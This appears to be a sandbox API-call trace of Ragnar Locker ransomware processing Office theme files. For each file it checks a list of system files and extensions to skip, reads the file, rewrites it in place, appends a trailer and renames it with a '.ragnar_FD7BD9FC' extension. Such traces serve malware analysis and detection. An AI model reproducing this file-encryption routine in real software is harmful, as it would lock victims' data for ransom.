[0094.499] lstrcmpiW (lpString1="Angles.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.499] lstrcmpiW (lpString1="Angles.thmx", lpString2="autorun.inf") returned -1 [0094.499] lstrcmpiW (lpString1="Angles.thmx", lpString2="boot.ini") returned -1 [0094.499] lstrcmpiW (lpString1="Angles.thmx", lpString2="bootfont.bin") returned -1 [0094.499] lstrcmpiW (lpString1="Angles.thmx", lpString2="bootsect.bak") returned -1 [0094.499] lstrcmpiW (lpString1="Angles.thmx", lpString2="bootmgr") returned -1 [0094.499] lstrcmpiW (lpString1="Angles.thmx", lpString2="bootmgr.efi") returned -1 [0094.499] lstrcmpiW (lpString1="Angles.thmx", lpString2="bootmgfw.efi") returned -1 [0094.499] lstrcmpiW (lpString1="Angles.thmx", lpString2="desktop.ini") returned -1 [0094.499] lstrcmpiW (lpString1="Angles.thmx", lpString2="iconcache.db") returned -1 [0094.499] lstrcmpiW (lpString1="Angles.thmx", lpString2="ntldr") returned -1 [0094.499] lstrcmpiW (lpString1="Angles.thmx", lpString2="ntuser.dat") returned -1 [0094.499] lstrcmpiW (lpString1="Angles.thmx", lpString2="ntuser.dat.log") returned -1 [0094.500] lstrcmpiW (lpString1="Angles.thmx", lpString2="ntuser.ini") returned -1 [0094.500] lstrcmpiW (lpString1="Angles.thmx", lpString2="thumbs.db") returned -1 [0094.500] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.500] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.500] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.500] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.500] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.500] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.500] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx")) returned 0x20 [0094.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.500] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=69784) returned 1 [0094.500] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x1108f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.500] GetProcessHeap () returned 0x580000 [0094.500] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.500] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.502] VirtualAlloc (lpAddress=0x0, dwSize=0x11098, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.502] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.502] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.502] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x11098, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x11098, lpOverlapped=0x0) returned 1 [0094.504] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.505] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11098, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.505] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x11098, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x11098, lpOverlapped=0x0) returned 1 [0094.505] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11098, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.505] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.505] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x11098, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.505] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.506] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.506] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.506] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.506] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.506] GetProcessHeap () returned 0x580000 [0094.506] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.506] CloseHandle (hObject=0x98) returned 1 [0094.506] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" [0094.506] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx.ragnar_FD7BD9FC" [0094.506] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.507] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda5e100, ftCreationTime.dwHighDateTime=0x1cbded8, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfda5e100, ftLastWriteTime.dwHighDateTime=0x1cbded8, nFileSizeHigh=0x0, nFileSizeLow=0x3f427, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.thmx", cAlternateFileName="APEX~1.THM")) returned 1 [0094.507] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.507] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Apex.thmx" | out: lpString1="Apex.thmx") returned="Apex.thmx" [0094.507] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx") returned=".thmx" [0094.507] lstrcmpiW (lpString1="Apex.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.507] lstrcmpiW (lpString1="Apex.thmx", lpString2="autorun.inf") returned -1 [0094.507] lstrcmpiW (lpString1="Apex.thmx", lpString2="boot.ini") returned -1 [0094.507] lstrcmpiW (lpString1="Apex.thmx", lpString2="bootfont.bin") returned -1 [0094.507] lstrcmpiW (lpString1="Apex.thmx", lpString2="bootsect.bak") returned -1 [0094.507] lstrcmpiW (lpString1="Apex.thmx", lpString2="bootmgr") returned -1 [0094.507] lstrcmpiW (lpString1="Apex.thmx", lpString2="bootmgr.efi") returned -1 [0094.507] lstrcmpiW (lpString1="Apex.thmx", lpString2="bootmgfw.efi") returned -1 [0094.507] lstrcmpiW (lpString1="Apex.thmx", lpString2="desktop.ini") returned -1 [0094.507] lstrcmpiW (lpString1="Apex.thmx", lpString2="iconcache.db") returned -1 [0094.507] lstrcmpiW (lpString1="Apex.thmx", lpString2="ntldr") returned -1 [0094.507] lstrcmpiW (lpString1="Apex.thmx", lpString2="ntuser.dat") returned -1 [0094.507] lstrcmpiW (lpString1="Apex.thmx", lpString2="ntuser.dat.log") returned -1 [0094.507] lstrcmpiW (lpString1="Apex.thmx", lpString2="ntuser.ini") returned -1 [0094.507] lstrcmpiW (lpString1="Apex.thmx", lpString2="thumbs.db") returned -1 [0094.507] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.507] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.507] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.507] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.507] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.507] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.507] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx")) returned 0x20 [0094.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.508] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=259111) returned 1 [0094.508] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x3f41e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.508] GetProcessHeap () returned 0x580000 [0094.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.509] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.511] VirtualAlloc (lpAddress=0x0, dwSize=0x3f427, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.512] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.512] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.512] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3f427, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x3f427, lpOverlapped=0x0) returned 1 [0094.517] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.519] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3f427, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.519] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3f427, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x3f427, lpOverlapped=0x0) returned 1 [0094.520] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3f427, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.520] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.521] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x3f427, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.521] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.521] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.521] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.521] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.521] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.521] GetProcessHeap () returned 0x580000 [0094.521] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.521] CloseHandle (hObject=0x98) returned 1 [0094.521] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" [0094.521] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx.ragnar_FD7BD9FC" [0094.521] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15a56, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.thmx", cAlternateFileName="APOTHE~1.THM")) returned 1 [0094.522] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.522] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Apothecary.thmx" | out: lpString1="Apothecary.thmx") returned="Apothecary.thmx" [0094.522] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx") returned=".thmx" [0094.522] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.522] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="autorun.inf") returned -1 [0094.522] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="boot.ini") returned -1 [0094.522] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="bootfont.bin") returned -1 [0094.522] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="bootsect.bak") returned -1 [0094.522] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="bootmgr") returned -1 [0094.523] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="bootmgr.efi") returned -1 [0094.523] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="bootmgfw.efi") returned -1 [0094.523] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="desktop.ini") returned -1 [0094.523] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="iconcache.db") returned -1 [0094.523] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="ntldr") returned -1 [0094.523] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="ntuser.dat") returned -1 [0094.523] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="ntuser.dat.log") returned -1 [0094.523] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="ntuser.ini") returned -1 [0094.523] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="thumbs.db") returned -1 [0094.523] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.523] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.523] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.523] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.523] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.523] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.523] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx")) returned 0x20 [0094.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.524] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=88662) returned 1 [0094.524] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x15a4d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.524] GetProcessHeap () returned 0x580000 [0094.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.524] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.525] VirtualAlloc (lpAddress=0x0, dwSize=0x15a56, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.525] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.525] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.525] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x15a56, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x15a56, lpOverlapped=0x0) returned 1 [0094.528] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.528] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15a56, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.528] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x15a56, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x15a56, lpOverlapped=0x0) returned 1 [0094.529] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15a56, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.529] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.529] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x15a56, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.529] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.529] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.530] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.530] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.530] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.530] GetProcessHeap () returned 0x580000 [0094.530] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.530] CloseHandle (hObject=0x98) returned 1 [0094.530] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" [0094.530] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx.ragnar_FD7BD9FC" [0094.530] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.531] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1396800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1396800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x109e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.thmx", cAlternateFileName="ASPECT~1.THM")) returned 1 [0094.531] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.531] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Aspect.thmx" | out: lpString1="Aspect.thmx") returned="Aspect.thmx" [0094.531] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx") returned=".thmx" [0094.531] lstrcmpiW (lpString1="Aspect.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.531] lstrcmpiW (lpString1="Aspect.thmx", lpString2="autorun.inf") returned -1 [0094.531] lstrcmpiW (lpString1="Aspect.thmx", lpString2="boot.ini") returned -1 [0094.531] lstrcmpiW (lpString1="Aspect.thmx", lpString2="bootfont.bin") returned -1 [0094.531] lstrcmpiW (lpString1="Aspect.thmx", lpString2="bootsect.bak") returned -1 [0094.531] lstrcmpiW (lpString1="Aspect.thmx", lpString2="bootmgr") returned -1 [0094.531] lstrcmpiW (lpString1="Aspect.thmx", lpString2="bootmgr.efi") returned -1 [0094.531] lstrcmpiW (lpString1="Aspect.thmx", lpString2="bootmgfw.efi") returned -1 [0094.531] lstrcmpiW (lpString1="Aspect.thmx", lpString2="desktop.ini") returned -1 [0094.531] lstrcmpiW (lpString1="Aspect.thmx", lpString2="iconcache.db") returned -1 [0094.531] lstrcmpiW (lpString1="Aspect.thmx", lpString2="ntldr") returned -1 [0094.531] lstrcmpiW (lpString1="Aspect.thmx", lpString2="ntuser.dat") returned -1 [0094.531] lstrcmpiW (lpString1="Aspect.thmx", lpString2="ntuser.dat.log") returned -1 [0094.531] lstrcmpiW (lpString1="Aspect.thmx", lpString2="ntuser.ini") returned -1 [0094.531] lstrcmpiW (lpString1="Aspect.thmx", lpString2="thumbs.db") returned -1 [0094.531] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.531] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.531] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.531] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.531] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.531] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.531] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 